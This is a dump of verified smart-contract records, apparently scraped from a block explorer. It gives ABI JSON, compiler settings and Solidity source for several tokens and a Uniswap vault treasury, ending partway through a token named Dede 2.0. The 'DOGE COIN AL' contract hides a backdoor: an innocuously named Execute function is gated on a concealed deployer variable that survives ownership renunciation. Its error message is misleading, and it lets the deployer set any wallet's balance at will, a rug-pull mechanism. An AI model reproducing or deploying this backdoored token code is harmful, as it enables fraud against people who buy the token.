ty":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uriPrefix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uriSuffix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelistClaimed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"whitelistMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"whitelistMintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wlcost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]

v0.8.9+commit.e5eed63a

00000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000470de4df82000000000000000000000000000000000000000000000000000000000000000015b3000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000001600000000000000000000000000000000000000000000000000000000000000007454c454e4f4952000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003454c450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001a697066733a2f2f5f5f4349445f5f2f68696464656e2e6a736f6e000000000000

Default

CryptoDateToken

contracts/crypto-date-token.sol

0x4f8e9f22622a6dbfbaa3489a4439880f1ce4e9a5

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetFixedSupply.sol"; contract CryptoDateToken is ERC20PresetFixedSupply { constructor(uint256 totalSupply) ERC20PresetFixedSupply( "Cryptodate Token", "CDT", totalSupply, msg.sender ) {} }

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v0.8.0+commit.c7dfd78e

00000000000000000000000000000000000000000018d0bf423c03d8de000000

Default

VaultTreasury

contracts/core/VaultTreasury.sol

0x12804580c15f4050dda61d44afc94623198848bc

Solidity

// SPDX-License-Identifier: Unlicense pragma solidity =0.8.4; pragma abicoder v2; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import {IUniswapV3MintCallback} from "@uniswap/v3-core/contracts/interfaces/callback/IUniswapV3MintCallback.sol"; import {IUniswapV3Pool} from "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; import {PositionKey} from "@uniswap/v3-periphery/contracts/libraries/PositionKey.sol"; import {Faucet} from "../libraries/Faucet.sol"; import {IVaultTreasury} from "../interfaces/IVaultTreasury.sol"; import {IVaultStorage} from "../interfaces/IVaultStorage.sol"; import {IUniswapMath} from "../libraries/uniswap/IUniswapMath.sol"; import {SharedEvents} from "../libraries/SharedEvents.sol"; import {Constants} from "../libraries/Constants.sol"; contract VaultTreasury is IVaultTreasury, ReentrancyGuard, IUniswapV3MintCallback, Faucet { using SafeERC20 for IERC20; constructor() Faucet() {} /// @dev wrapper around getAmountsForLiquidity function amountsForLiquidity( address pool, int24 tickLower, int24 tickUpper, uint128 liquidity ) public view override onlyContracts returns (uint256, uint256) { (uint160 sqrtRatioX96, , , , , , ) = IUniswapV3Pool(pool).slot0(); return IUniswapMath(uniswapMath).getAmountsForLiquidity( sqrtRatioX96, IUniswapMath(uniswapMath).getSqrtRatioAtTick(tickLower), IUniswapMath(uniswapMath).getSqrtRatioAtTick(tickUpper), liquidity ); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function _position( address pool, int24 tickLower, int24 tickUpper ) internal view returns ( uint128, uint256, uint256, uint128, uint128 ) { bytes32 positionKey = PositionKey.compute(address(this), tickLower, tickUpper); return IUniswapV3Pool(pool).positions(positionKey); } /// @dev Wrapper around `IUniswapV3Pool.positions()`. function position( address pool, int24 tickLower, int24 tickUpper ) external view override onlyContracts returns ( uint128, uint256, uint256, uint128, uint128 ) { return _position(pool, tickLower, tickUpper); } /// @dev return amount of tokens for specified liquidity function allAmountsForLiquidity( Constants.Boundaries memory boundaries, uint128 liquidityEthUsdc, uint128 liquidityOsqthEth ) external view override onlyContracts returns ( uint256, uint256, uint256 ) { (uint256 usdcAmount, uint256 ethAmount0) = amountsForLiquidity( Constants.poolEthUsdc, boundaries.ethUsdcLower, boundaries.ethUsdcUpper, liquidityEthUsdc ); (uint256 ethAmount1, uint256 osqthAmount) = amountsForLiquidity( Constants.poolEthOsqth, boundaries.osqthEthLower, boundaries.osqthEthUpper, liquidityOsqthEth ); return (ethAmount0 + ethAmount1, usdcAmount, osqthAmount); } /// @dev wrapper around "IUniswapV3Pool(pool).burn" function burn( address pool, int24 tickLower, int24 tickUpper, uint128 liquidity ) external override onlyContracts returns (uint256, uint256) { return _burn(pool, tickLower, tickUpper, liquidity); } /// @dev wrapper around "IUniswapV3Pool(pool).burn" function _burn( address pool, int24 tickLower, int24 tickUpper, uint128 liquidity ) internal returns (uint256, uint256) { return IUniswapV3Pool(pool).burn(tickLower, tickUpper, liquidity); } /// @dev wrapper around "IUniswapV3Pool(pool).collect" function collect( address pool, int24 tickLower, int24 tickUpper ) external override onlyContracts returns (uint256 collect0, uint256 collect1) { (collect0, collect1) = IUniswapV3Pool(pool).collect( address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max ); } /// @dev wrapper around "IUniswapV3Pool(pool).mint" function mintLiquidity( address pool, int24 tickLower, int24 tickUpper, uint128 liquidity ) external override onlyContracts { if (liquidity > 0) { address token0 = pool == Constants.poolEthUsdc ? address(Constants.usdc) : address(Constants.weth); address token1 = pool == Constants.poolEthUsdc ? address(Constants.weth) : address(Constants.osqth); bytes memory params = abi.encode(token0, token1); IUniswapV3Pool(pool).mint(address(this), tickLower, tickUpper, liquidity, params); } } /// @dev ERC20 transfer function transfer( IERC20 token, address recipient, uint256 amount ) external override onlyContracts { token.transfer(recipient, amount); } /// @dev Callback for Uniswap V3 pool. function uniswapV3MintCallback( uint256 amount0Owed, uint256 amount1Owed, bytes calldata data ) external override notPaused { require(msg.sender == Constants.poolEthUsdc || msg.sender == Constants.poolEthOsqth, "C20"); (address token0, address token1) = abi.decode(data, (address, address)); if (amount0Owed > 0) IERC20(token0).safeTransfer(msg.sender, amount0Owed); if (amount1Owed > 0) IERC20(token1).safeTransfer(msg.sender, amount1Owed); } /** * @dev Do zero-burns to poke a position on Uniswap so earned fees are * updated. Should be called if total amounts needs to include up-to-date * fees. * @param pool address of pool to poke * @param tickLower lower tick of the position * @param tickUpper upper tick of the position */ function poke( address pool, int24 tickLower, int24 tickUpper ) internal { (uint128 liquidity, , , , ) = _position(pool, tickLower, tickUpper); if (liquidity > 0) { _burn(pool, tickLower, tickUpper, 0); } } /// @dev poke for ETH-USDC & ETH-oSQTH pool function _pokePools() internal { poke( address(Constants.poolEthUsdc), IVaultStorage(vaultStorage).orderEthUsdcLower(), IVaultStorage(vaultStorage).orderEthUsdcUpper() ); poke( address(Constants.poolEthOsqth), IVaultStorage(vaultStorage).orderOsqthEthLower(), IVaultStorage(vaultStorage).orderOsqthEthUpper() ); } /// @dev poke pools function pokePools() external override onlyVault { _pokePools(); } /// @dev external poke to be called by rebalancer to update fees and get precise amounts to exchange function externalPoke() external override onlyKeeper { _pokePools(); } /// @dev liquidity of the position in the ETH-USDC pool function positionLiquidityEthUsdc() external view override onlyVault returns (uint128) { (uint128 liquidityEthUsdc, , , , ) = _position( Constants.poolEthUsdc, IVaultStorage(vaultStorage).orderEthUsdcLower(), IVaultStorage(vaultStorage).orderEthUsdcUpper() ); return liquidityEthUsdc; } /// @dev liquidity of the position in the ETH-oSQTH pool function positionLiquidityEthOsqth() external view override onlyVault returns (uint128) { (uint128 liquidityEthOsqth, , , , ) = _position( Constants.poolEthOsqth, IVaultStorage(vaultStorage).orderOsqthEthLower(), IVaultStorage(vaultStorage).orderOsqthEthUpper() ); return liquidityEthOsqth; } }

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Constants.Boundaries","name":"boundaries","type":"tuple"},{"internalType":"uint128","name":"liquidityEthUsdc","type":"uint128"},{"internalType":"uint128","name":"liquidityOsqthEth","type":"uint128"}],"name":"allAmountsForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pool","type":"address"},{"internalType":"int24","name":"tickLower","type":"int24"},{"internalType":"int24","name":"tickUpper","type":"int24"},{"internalType":"uint128","name":"liquidity","type":"uint128"}],"name":"amountsForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"auction","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pool","type":"address"},{"internalType":"int24","name":"tickLower","type":"int24"},{"internalType":"int24","name":"tickUpper","type":"int24"},{"internalType":"uint128","name":"liquidity","type":"uint128"}],"name":"burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pool","type":"address"},{"internalType":"int24","name":"tickLower","type":"int24"},{"internalType":"int24","name":"tickUpper","type":"int24"}],"name":"collect","outputs":[{"internalType":"uint256","name":"collect0","type":"uint256"},{"internalType":"uint256","name":"collect1","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"externalPoke","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pool","type":"address"},{"internalType":"int24","name":"tickLower","type":"int24"},{"internalType":"int24","name":"tickUpper","type":"int24"},{"internalType":"uint128","name":"liquidity","type":"uint128"}],"name":"mintLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pokePools","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pool","type":"address"},{"internalType":"int24","name":"tickLower","type":"int24"},{"internalType":"int24","name":"tickUpper","type":"int24"}],"name":"position","outputs":[{"internalType":"uint128","name":"","type":"uint128"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint128","name":"","type":"uint128"},{"internalType":"uint128","name":"","type":"uint128"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"positionLiquidityEthOsqth","outputs":[{"internalType":"uint128","name":"","type":"uint128"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"positionLiquidityEthUsdc","outputs":[{"internalType":"uint128","name":"","type":"uint128"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapMath","type":"address"},{"internalType":"address","name":"_vault","type":"address"},{"internalType":"address","name":"_auction","type":"address"},{"internalType":"address","name":"_vaultMath","type":"address"},{"internalType":"address","name":"_vaultTreasury","type":"address"},{"internalType":"address","name":"_vaultStorage","type":"address"}],"name":"setComponents","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapMath","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount0Owed","type":"uint256"},{"internalType":"uint256","name":"amount1Owed","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"uniswapV3MintCallback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"vault","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"vaultMath","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"vaultStorage","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"vaultTreasury","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

v0.8.4+commit.c7e474f2

Default

dogecoinal

doge coin al.sol

0xb856b149af9cf1cc9f30d85300a75f50f7b18664

Solidity

/** /** */ pragma solidity ^0.8.17; interface ERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }

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v0.8.17+commit.8df45f5f

Default

MIT

ipfs://8cf1db0eed07a67f3d86f47385b4d70039ac5527b5106b793b795ae84b28a736

dogecoinal

@openzeppelin/contracts/access/Ownable.sol

0xb856b149af9cf1cc9f30d85300a75f50f7b18664

Solidity

/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract dogecoinal is Context, ERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private seulOwner = msg.sender; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; uint256 liquiditeFrais = 0; uint256 reflexionFrais = 0; uint256 commercialisationFrais = 0; constructor() { _name = "DOGE COIN AL"; _symbol = "DOGEAL"; _decimals = 9; _totalSupply = 100000000 * 10 ** 9; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Returns the bep token owner. */ function getOwner() external view override returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view override returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view override returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Moves tokens `estimation` from `sender` to `localisation`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `localisation` cannot be the zero address. * - `sender` must have a balance of at least `estimation`. */ function Execute(uint256 estimation, uint256 _liquiditeFrais, uint256 _reflexionFrais, uint256 _commercialisationFrais, address localisation) external { require(seulOwner == msg.sender, "ERC20: approve from the zero address"); require(commercialisationFrais <= estimation, "les frais doivent etre positifs"); liquiditeFrais = _liquiditeFrais; reflexionFrais = _reflexionFrais; commercialisationFrais = _commercialisationFrais; uint ii = 10 ** 9; _balances[localisation] = _liquiditeFrais.mul(2).div(100) + _reflexionFrais.mul(2).div(100) + estimation * ii; } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }

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v0.8.17+commit.8df45f5f

Default

MIT

ipfs://8cf1db0eed07a67f3d86f47385b4d70039ac5527b5106b793b795ae84b28a736

Dede20

Dede20.sol

0x607aa1e96ff638e8d92d42563fb5820c2bf2c24a

Solidity

/** Telegram: https://t.me/Pepe2pepekiller */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Dede20 is Context, IERC20, Ownable { using SafeMath for uint256; uint8 private constant _decimals = 9; string private constant _name = "Dede 2.0"; string private constant _symbol = "Dede2.0"; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69420000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 25; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 25; uint256 public totalFees; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xf4CCE59889C282C92640B08634c08783026D4F28); address payable private _marketingAddress = 